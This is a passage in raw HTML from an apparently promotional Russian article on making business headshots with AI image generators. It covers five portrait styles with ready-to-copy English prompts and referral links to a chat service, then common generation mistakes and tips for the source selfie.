style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;Что мы получаем на выходе:&lt;/strong&gt; Портрет с невероятным объемом и атмосферой дорогого кино. Ты одет в свободный блейзер глубокого темно-синего цвета поверх качественной базовой футболки, а взгляд направлен чуть в сторону от камеры. На бэкграунде - премиальный лаунж современного офиса с мягкими, теплыми янтарными бликами.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/d56/711/0ef/d567110efb16b48fe5ed6790acea5d5d.png alt=&#34;Снимок полностью лишен консервативной офисной скуки&#34; title=&#34;Снимок полностью лишен консервативной офисной скуки&#34; width=2040 height=1302 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/d56/711/0ef/d567110efb16b48fe5ed6790acea5d5d.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/d56/711/0ef/d567110efb16b48fe5ed6790acea5d5d.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;Снимок полностью лишен консервативной офисной скуки&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Он выглядит так, будто тебя снимали на профессиональную кинокамеру ARRI Alexa для обложки крупного бизнес-издания. Кадр моментально считывается как маркер высокого статуса, интеллекта и безупречного вкуса.&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Инсайд:&lt;/strong&gt; Эта нейросеть потрясающе работает со сложным светом и фактурой ткани. Фраза &lt;code&gt;unstructured blazer&lt;/code&gt; (неструктурированный, мягкий пиджак) в промте критически важна: она убирает излишне жесткую линию плеч, делая образ современным и живым, а не старомодным и карикатурно-официальным.&lt;/blockquote&gt;&lt;hr&gt;&lt;h3&gt;5. Стиль индустриальный шик ( для тех, кто создает материальный мир)&lt;/h3&gt;&lt;a class=anchor id=5&gt;&lt;/a&gt;&lt;p&gt;👉 &lt;strong&gt;Сгенерировать деловое фото в нейросети&lt;/strong&gt; &lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fgoogle_image&#34;&gt;&lt;code&gt;&lt;strong&gt;Google_image&lt;/strong&gt;&lt;/code&gt;&lt;/a&gt;&lt;p&gt;&lt;code&gt;&lt;em&gt;Этот стиль идеально подходит архитекторам, инженерам, руководителям производств, строительным и логистическим топ-менеджерам, а также тимлидам, работающим на стыке софта и «железа» (Hardware/IoT). Всем, кому нужно сильное, фактурное фото для резюме, профиля в корпоративном Битриксе или сайта компании.&lt;/em&gt;&lt;/code&gt;&lt;p&gt;Инструмент от Google превосходно справляется с передачей сложных промышленных фактур, игрой бликов на металле и стекле, а также выдает идеальный баланс белого при сложном освещении.&lt;p&gt;&lt;strong&gt;👇Промт для копирования в &lt;/strong&gt;&lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fgoogle_image&#34;&gt;&lt;strong&gt;Google_image&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;:&lt;/strong&gt;&lt;pre&gt;&lt;code&gt;Professional corporate portrait of a [man/woman], &#xA;mid-30s, looking into the camera with a friendly, &#xA;confident smile. Wearing a modern minimalist dark gray &#xA;overshirt over a black eco-cotton t-shirt. Background &#xA;is a softly blurred modern industrial loft office &#xA;with large windows, exposed brick, and steel beams. &#xA;Natural bright overcast daylight, highly detailed, &#xA;realistic skin texture, 8k resolution.&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;Что мы получаем на выходе:&lt;/strong&gt; Честный, объемный и сильный портрет с характером. Вместо банальной белой стены - стильное пространство современного лофта с элементами кирпичной кладки и стальных балок. Ты одет в плотную темно-серую рубашку-овершот поверх черной футболки. Кадр транслирует надежность, глубокую экспертность и вовлеченность в реальные, большие процессы.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/7aa/8da/d03/7aa8dad03f6e4ec9f90b7ecb37d9e98c.png alt=&#34;Такое деловое фото наглядно показывает, что ты умеешь работать со сложными проектами&#34; title=&#34;Такое деловое фото наглядно показывает, что ты умеешь работать со сложными проектами&#34; width=753 height=939 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/7aa/8da/d03/7aa8dad03f6e4ec9f90b7ecb37d9e98c.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/7aa/8da/d03/7aa8dad03f6e4ec9f90b7ecb37d9e98c.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;Такое деловое фото наглядно показывает, что ты умеешь работать со сложными проектами&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Текстура лофта на заднем плане добавляет кадру «веса» и стиля, напрочь уничтожая серую офисную тоску.&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Инсайд:&lt;/strong&gt; Эта нейросеть невероятно круто прорабатывает свет в пасмурную погоду. Фраза &lt;code&gt;natural bright overcast daylight&lt;/code&gt; (естественный яркий свет в облачный день) гарантирует, что на лице не будет жестких контрастных теней или пересветов под носом и глазами - свет ляжет мягко и ровно, как со студийным софтбоксом.&lt;/blockquote&gt;&lt;hr&gt;&lt;h3&gt;6. Стиль эко-урбанизм ( динамика большого города)&lt;/h3&gt;&lt;a class=anchor id=6&gt;&lt;/a&gt;&lt;p&gt;👉 &lt;strong&gt;Сгенерировать деловое фото в нейросети &lt;/strong&gt;&lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fimprove_photo&#34;&gt;&lt;code&gt;&lt;strong&gt;Improve_photo&lt;/strong&gt;&lt;/code&gt;&lt;/a&gt;&lt;p&gt;&lt;code&gt;&lt;strong&gt;&lt;em&gt;Этот стиль делового фото - идеальный выбор для урбанистов, ландшафтных архитекторов, продюсеров эко-проектов, инвест-аналитиков нового поколения и всех специалистов, чья работа связана с динамичным ритмом мегаполиса, но без ухода в душный бетон. Такое ИИ-фото будет круто смотреться в карточке спикера для современных урбанистических хакатонов и в корпоративном Битриксе.&lt;/em&gt;&lt;/strong&gt;&lt;/code&gt;&lt;p&gt;Нейросеть&lt;strong&gt; &lt;/strong&gt;&lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fimprove_photo&#34;&gt;&lt;strong&gt;improve_photo&lt;/strong&gt;&lt;/a&gt; в 2026 году ценится за то, что она ювелирно работает с готовой геометрией лица и сложными уличными текстурами, собирая кадр воедино без малейшего намека на артефакты и склейки.&lt;p&gt;&lt;strong&gt;👇 Промт для копирования в &lt;/strong&gt;&lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fimprove_photo&#34;&gt;&lt;strong&gt;Improve_photo&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;:&lt;/strong&gt;&lt;pre&gt;&lt;code&gt;High-end candid corporate portrait of a [man/woman], &#xA;standing outside a modern eco-friendly glass &#xA;skyscraper covered with vertical gardens. &#xA;Wearing a tailored sage green casual jacket over &#xA;a white premium t-shirt. Dynamic composition,&#xA;walking position, natural midday sunlight reflecting&#xA;off glass panels, clean bokeh effect, cinematic look,&#xA;highly texturized skin, 8k resolution.&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;Что мы получаем на выходе:&lt;/strong&gt; Живой, полный воздуха и движения кадр в стиле стрит-стайл фотографии. Ты запечатлен в движении на фоне футуристичного стеклянного небоскреба с вертикальным озеленением. На тебе - стильный блейзер благородного оттенка шалфея поверх базовой белой футболки. Естественные солнечные блики отражаются от стеклянных фасадов, создавая объем и глубину.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/07c/bea/966/07cbea96630341fd76cfe0181bb90698.png alt=&#34;Образ транслирует прогрессивное мышление, гибкость и умение держать руку на пульсе времени&#34; title=&#34;Образ транслирует прогрессивное мышление, гибкость и умение держать руку на пульсе времени&#34; width=1344 height=768 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/07c/bea/966/07cbea96630341fd76cfe0181bb90698.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/07c/bea/966/07cbea96630341fd76cfe0181bb90698.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;Образ транслирует прогрессивное мышление, гибкость и умение держать руку на пульсе времени&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Это фото буквально дышит свежестью и успехом, убирая напрочь консервативный пафос классического делового портрета.&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Инсайд:&lt;/strong&gt; Эта нейросеть обожает динамику. Чтобы кадр получился по-настоящему живым, мы добавили маркеры &lt;code&gt;dynamic composition, walking position&lt;/code&gt; (динамичная композиция, поза в движении). Это заставит алгоритмы уйти от статичной позы «манекена» и выдать естественный шаг, расслабленные плечи и легкий, летящий силуэт.&lt;/blockquote&gt;&lt;hr&gt;&lt;h3&gt;7. Стиль креативный директор ( эстетика сочного глянца)&lt;/h3&gt;&lt;a class=anchor id=7&gt;&lt;/a&gt;&lt;p&gt;👉 &lt;strong&gt;Сгенерировать деловое фото в нейросети&lt;/strong&gt; &lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fopen_ai_image_bot&#34;&gt;&lt;code&gt;&lt;strong&gt;Оpen_ai_image_bot&lt;/strong&gt;&lt;/code&gt;&lt;/a&gt;&lt;p&gt;&lt;code&gt;&lt;strong&gt;&lt;em&gt;Этот вариант создан для пиарщиков, бренд-стратегов, контент-продюсеров, шеф-редакторов медиа и всех, кто строит личный бренд в digital-пространстве. Идеально зайдет для обложки лонгрида, профиля в Тенчате или Telegram-канала.&lt;/em&gt;&lt;/strong&gt;&lt;/code&gt;&lt;p&gt;Эту нейросеть любят за его способность работать со сложными, дорогими фактурами ткани и ювелирную точность в передаче взгляда.&lt;p&gt;&lt;strong&gt;👇 Промт для копирования в &lt;/strong&gt;&lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fopen_ai_image_bot&#34;&gt;&lt;strong&gt;Оpen_ai_image_bot&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;:&lt;/strong&gt;&lt;pre&gt;&lt;code&gt;High-end editorial headshot of a [man/woman], 30s, &#xA;creative director vibe. Wearing a relaxed-fit charcoal &#xA;structured overshirt. Background is a warm studio backlighting,&#xA;softly blurred elegant minimalist art gallery with abstract &#xA;paintings. Sharp focus on eyes, highly detailed photorealistic &#xA;skin texture, dramatic soft shadows, premium color grading --ar 4:5&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;Что мы получаем на выходе:&lt;/strong&gt; Глубокий, журнальный портрет с атмосферой закрытой презентации или выставки современного искусства. На тебе - плотная графитовая рубашка-овершот свободного кроя, а на бэкграунде мягко светится интерьер минималистичной галереи. Никакого намека на скучную офисную рутину.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/ce3/f5c/b10/ce3f5cb104c5dafa6b0fd92aec344590.png alt=&#34;Образ транслирует безупречный вкус, креативное мышление и статус человека, который создает тренды, а не просто следует им&#34; title=&#34;Образ транслирует безупречный вкус, креативное мышление и статус человека, который создает тренды, а не просто следует им&#34; width=1244 height=939 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/ce3/f5c/b10/ce3f5cb104c5dafa6b0fd92aec344590.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/ce3/f5c/b10/ce3f5cb104c5dafa6b0fd92aec344590.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;Образ транслирует безупречный вкус, креативное мышление и статус человека, который создает тренды, а не просто следует им&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Инсайд:&lt;/strong&gt; Фраза &lt;code&gt;charcoal structured overshirt&lt;/code&gt; (структурированная рубашка-овершот цвета древесного угля) - это читерство. Нейросеть выдает плотную, дорогую текстуру ткани, которая в кадре выглядит в сто раз выигрышнее и свежее, чем любой классический блейзер.&lt;/blockquote&gt;&lt;hr&gt;&lt;h2&gt;8. Стиль нео-классика ( уверенность на стыке стилей)&lt;/h2&gt;&lt;a class=anchor id=8&gt;&lt;/a&gt;&lt;p&gt;👉 &lt;strong&gt;Сгенерировать деловое фото в нейросети&lt;/strong&gt; &lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fgrok4&#34;&gt;&lt;code&gt;&lt;strong&gt;Grok4&lt;/strong&gt;&lt;/code&gt;&lt;strong&gt;&lt;/strong&gt;&lt;/a&gt;&lt;p&gt;&lt;code&gt;&lt;strong&gt;&lt;em&gt;Вариант для финансовых аналитиков нового поколения, венчурных инвесторов, крипто-фаундеров и тимлидов крупных консалтинговых проектов. Для тех, кто хочет показать железный профессионализм, но при этом оставаться современным человеком, а не «человеком в футляре».&lt;/em&gt;&lt;/strong&gt;&lt;/code&gt;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Нейросеть &lt;/em&gt;&lt;/strong&gt;&lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fgrok4&#34;&gt;&lt;strong&gt;Grok4&lt;/strong&gt;&lt;/a&gt; выдает невероятно сочные, контрастные кадры с потрясающей глубиной резкости и очень реалистичной анатомией лица.&lt;p&gt;&lt;strong&gt;👇 Промт для копирования в&lt;em&gt; &lt;/em&gt;&lt;/strong&gt;&lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fgrok4&#34;&gt;&lt;strong&gt;Grok4&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;:&lt;/strong&gt;&lt;pre&gt;&lt;code&gt;Cinematic professional portrait of a [man/woman], mid-30s, &#xA;looking directly at the camera with a confident, &#xA;friendly look. Wearing a premium dark chocolate knitted polo shirt.&#xA;Background is a blurred luxury modern library with dark wood and &#xA;warm ambient lighting. Shot on 50mm, f/1.4, micro-details on skin,&#xA;natural look, no digital smooth filters.&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;Что мы получаем на выходе:&lt;/strong&gt; Теплый, объемный портрет, который буквально дышит интеллектом и спокойной уверенностью. Вместо костюма на тебе - вязаное поло глубокого шоколадного оттенка. Задний план - премиальная современная библиотека с благородным темным деревом и мягким точечным светом.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/1b3/fef/cb4/1b3fefcb4d96b361993bbc51a004382c.png alt=&#34;Идеальный баланс между вечной классикой и современным Smart Casual&#34; title=&#34;Идеальный баланс между вечной классикой и современным Smart Casual&#34; width=2048 height=1360 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/1b3/fef/cb4/1b3fefcb4d96b361993bbc51a004382c.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/1b3/fef/cb4/1b3fefcb4d96b361993bbc51a004382c.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;Идеальный баланс между вечной классикой и современным Smart Casual&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Кадр показывает, что ты умеешь работать с большими объемами данных и сложными бизнес-процессами, но ценишь комфорт и эстетику.&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Инсайд:&lt;/strong&gt; Мы умышленно заменили стандартную рубашку на &lt;code&gt;knitted polo shirt&lt;/code&gt; (вязаное поло). Этот триггер заставляет алгоритмы уйти от образа «сухого клерка» и создать образ интеллектуала с высоким чеком за свои услуги.&lt;/blockquote&gt;&lt;hr&gt;&lt;h3&gt;9. Стиль концептуальный минимализм ( для визуальных перфекционистов)&lt;/h3&gt;&lt;a class=anchor id=9&gt;&lt;/a&gt;&lt;p&gt;👉 &lt;strong&gt;Сгенерировать деловое фото в нейросети &lt;/strong&gt;&lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fchat_gpt5_1&#34;&gt;&lt;code&gt;&lt;strong&gt;Сhat_gpt5_1&lt;/strong&gt;&lt;/code&gt;&lt;/a&gt;&lt;p&gt;&lt;code&gt;&lt;strong&gt;&lt;em&gt;Мастхэв для UX/UI-дизайнеров, продакт-маркетологов, фронтенд-разработчиков и архитекторов интерфейсов. Подходит для аватарок в Notion, GitHub, Битрикс24 и личных портфолио, где важна безупречная эстетика и геометрия.&lt;/em&gt;&lt;/strong&gt;&lt;/code&gt;&lt;p&gt;Модель превосходно считывает сложные концептуальные запросы и выдает идеальную чистоту кадра без лишней визуальной грязи.&lt;p&gt;&lt;strong&gt;Промт для копирования в &lt;/strong&gt;&lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fchat_gpt5_1&#34;&gt;&lt;strong&gt;Сhat_gpt5_1&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;:&lt;/strong&gt;&lt;pre&gt;&lt;code&gt;Minimalist corporate studio portrait of a [man/woman] in their late 20s.&#xA;Wearing a premium crisp black eco-cotton t-shirt under an &#xA;open light-gray linen blazer. Neutral background with soft&#xA;geometric light shadows. Clean shot, photorealistic skin pores &#xA;and imperfections, confident relaxed posture, looking at the camera.&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;Что мы получаем на выходе:&lt;/strong&gt; Чистый, воздушный и геометрически выверенный портрет. Базовая черная футболка из плотного хлопка, легкий светло-серый льняной блейзер на распашку и лаконичный светлый фон с мягкими тенями. Максимум воздуха, света и фокуса на твоем лице.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/547/b97/bbf/547b97bbf7504f36064b977955d4d22f.png alt=&#34;Уверенный взгляд и легкая улыбка подчеркивают профессионализм, статус и открытость к сотрудничеству&#34; title=&#34;Уверенный взгляд и легкая улыбка подчеркивают профессионализм, статус и открытость к сотрудничеству&#34; width=2048 height=2048 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/547/b97/bbf/547b97bbf7504f36064b977955d4d22f.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/547/b97/bbf/547b97bbf7504f36064b977955d4d22f.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;Уверенный взгляд и легкая улыбка подчеркивают профессионализм, статус и открытость к сотрудничеству&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Это фото заявляет о твоем перфекционизме, любви к чистому коду или чистому дизайну еще до того, как человек откроет твое резюме или портфолио.&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Инсайд:&lt;/strong&gt; Сочетание &lt;code&gt;linen blazer&lt;/code&gt; (льняной блейзер) и базовой футболки мгновенно сбивает с нейросети спесь офисного официоза. Ткань получается с легкой, естественной текстурой, что делает ИИ-фото живым и абсолютно неотличимым от реальной съемки.&lt;/blockquote&gt;&lt;hr&gt;&lt;h3&gt;4 Ошибки, которые превратят твое ИИ-фото в посмешище для HR&lt;/h3&gt;&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/5c1/0f2/ca0/5c10f2ca0b9f6d2d1766b89b105a54f4.png width=2400 height=1600 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/5c1/0f2/ca0/5c10f2ca0b9f6d2d1766b89b105a54f4.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/5c1/0f2/ca0/5c10f2ca0b9f6d2d1766b89b105a54f4.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;Сгенерировать стильный бизнес-портрет в 2026 году - задача на пару минут, но дьявол, как всегда, кроется в деталях. Нейросети научились круто шить виртуальные пиджаки и выставлять свет, но если потерять бдительность, на выходе можно получить кадр, который вместо восхищения вызовет у рекрутеров легкий ужас.&lt;p&gt;Разбираем главный визуальный кринж при создании делового фото с помощью нейросети и учимся его избегать.&lt;h4&gt;1. Эффект «пластикового пупса» (Over-styling)&lt;/h4&gt;&lt;p&gt;Самый частый косяк новичков - перекрутить настройки бьютификации. Когда нейросеть стирает с твоего лица поры, родинки, мимические морщинки и текстуру кожи, ты превращаешься в восковую фигуру из музея мадам Тюссо. В эпоху, когда в тренде максимальная трушность и живая эстетика, идеальное глянцевое лицо мгновенно выдает дешевую генерацию.&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Как надо:&lt;/strong&gt; Следи, чтобы на финальном ИИ-фото оставались мелкие несовершенства. Кожа должна дышать, иметь поры и текстуру, будто кадр сделан на ходу на хорошую камеру.&lt;/ul&gt;&lt;h4&gt;2. Поплывшая анатомия и «лишние детали»&lt;/h4&gt;&lt;p&gt;Нейросети образца 2026 года стали намного умнее, но они все еще могут знатно накосячить с мелкой геометрией. Сросшиеся воротники рубашки, уходящие в бесконечность пуговицы, сережки, которые висят в воздухе отдельно от ушей, или классика жанра - шестой палец на руке, если ты выбрал позу вполоборота. Если ты зальешь такое фото для компании в Битрикс24, коллеги будут не восхищаться твоим стилем, а зумить картинку в поисках артефактов.&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Как надо:&lt;/strong&gt; Проводи тотальный чекап готового портрета. Безжалостно отправляй в корзину или на доработку кадры, где поплыли швы одежды или форма ушных раковин.&lt;/ul&gt;&lt;h4&gt;3. Чужое лицо (Синдром самозванца)&lt;/h4&gt;&lt;p&gt;Это ловушка, в которую часто попадают при агрессивном использовании face-swap инструментов. Нейросеть берет твое селфи, но в процессе генерации слишком сильно меняет посадку глаз, форму подбородка или линию скул под «идеальный» шаблон. В итоге с аватарки на HR смотрит голливудский актер, а на созвон в Zoom выходит обычный уставший тимлид. Это рождает жесткий диссонанс и подрывает доверие еще до начала собеседования.&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Как надо:&lt;/strong&gt; Итоговое фото для резюме должно на 100% отражать тебя реального. Если твои близкие или коллеги говорят: «Слушай, красиво, но это не ты» — переделывай.&lt;/ul&gt;&lt;h4&gt;4. Фон из категории «Дорого-богато»&lt;/h4&gt;&lt;p&gt;Попытка перенести себя на фоне ИИ в интерьеры частного джета, панорамные окна пентхауса в Нью-Йорке или на фоне автопарка из спорткаров - это моментальный визуальный провал. Такой фальшивый пафос выглядит комично и дешево. То же самое касается и другой крайности - слишком агрессивного, кричащего или неонового бэкграунда, который спорит с лицом за внимание.&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Как надо:&lt;/strong&gt; Выбирай нейтральные, спокойные локации. Мягко размытый светлый коворкинг, минималистичное кафе или сдержанная городская архитектура на фоне сделают твой образ по-настоящему дорогим и статусным без лишних понтов.&lt;/ul&gt;&lt;hr&gt;&lt;h3&gt;Какой должна быть база: правильный исходник для идеального бизнес-портрета&lt;/h3&gt;&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/cd8/482/a81/cd8482a8113a842d5a4af1c2fabf49ee.png width=1617 height=1080 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/cd8/482/a81/cd8482a8113a842d5a4af1c2fabf49ee.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/cd8/482/a81/cd8482a8113a842d5a4af1c2fabf49ee.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;Нейросеть - это математика. Ее работа напрямую зависит от того, какое сырье ты загрузишь на старте. Если скормить ИИ смазанное селфи из бара, сделанное в три часа ночи, то даже самая продвинутая модель выдаст на выходе не топ-менеджера, а криповую цифровую копию с безумным взглядом.&lt;p&gt;Если ты хочешь получить сочное деловое фото с помощью нейросети, а не пластиковый манекен, твой исходник должен соответствовать четырем простым правилам.&lt;h4&gt;1. Свет - твой главный союзник&lt;/h4&gt;&lt;p&gt;Забудь про фото со вспышкой в лоб (привет, эффект зомби) или кадры, снятые под тусклой желтой люстрой. Нейросети критически важен ровный, мягкий свет.&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Идеальный вариант:&lt;/strong&gt; Встань лицом к большому окну в пасмурный день или в легкой тени на улице. Такой свет деликатно подсветит лицо, проявит естественный объем и не создаст жестких черных теней под глазами и носом.&lt;/ul&gt;&lt;h4&gt;2. Ракурс и мимика: без драмы и кривляний&lt;/h4&gt;&lt;p&gt;Оставь фотки вполоборота, томные взгляды снизу вверх и уж тем более «уткогубы» для других соцсетей. Для качественного ИИ фото нужен честный анфас или минимальный поворот головы (буквально на пару градусов).&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Иовэйшн:&lt;/strong&gt; Смотри прямо в объектив. Держи плечи расслабленными, а на лице воспроизведи легкую, едва заметную полуулыбку - ту самую, которая транслирует уверенность и открытость. Никакого оскала или, наоборот, каменного выражения лица, словно ты фотографируешься на паспорт.&lt;/ul&gt;&lt;h4&gt;3. Максимальная детализация (Никакого мыла)&lt;/h4&gt;&lt;p&gt;Чем четче видны твои глаза, текстура кожи, линия подбородка и волоски в прическе, тем меньше нейросети придется фантазировать и дорисовывать детали «от себя». Именно на размытых исходниках ИИ чаще всего ломает анатомию - выдает косые глаза или странную форму ушей.&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Как сделать:&lt;/strong&gt; Протри камеру смартфона. Сделай обычное селфи на основную (заднюю) камеру телефона в максимальном разрешении при хорошем освещении. Не используй встроенные бьюти-фильтры и маски - нейросеть должна видеть твое настоящее лицо.&lt;/ul&gt;&lt;h4&gt;4. Чистое лицо и открытый лоб&lt;/h4&gt;&lt;p&gt;Если у тебя на лице массивные солнцезащитные очки, прядь волос полностью закрывает один глаз или ты подпер подбородок рукой - нейросеть сойдет с ума, пытаясь отделить твою анатомию от сторонних предметов.&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Правило:&lt;/strong&gt; Лицо должно быть полностью открыто. Если носишь оптические очки для зрения — окей, но следи, чтобы на стеклах не было ярких цветных бликов, которые перекрывают зрачки.&lt;/ul&gt;&lt;hr&gt;&lt;h3&gt;FAQ: 10 вопросов о деловых фото с помощью нейросети&lt;/h3&gt;&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/220/7fc/542/2207fc54234e5400bc9e51d92a1d7ff3.png width=801 height=535 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/220/7fc/542/2207fc54234e5400bc9e51d92a1d7ff3.png 780w,&#xA;       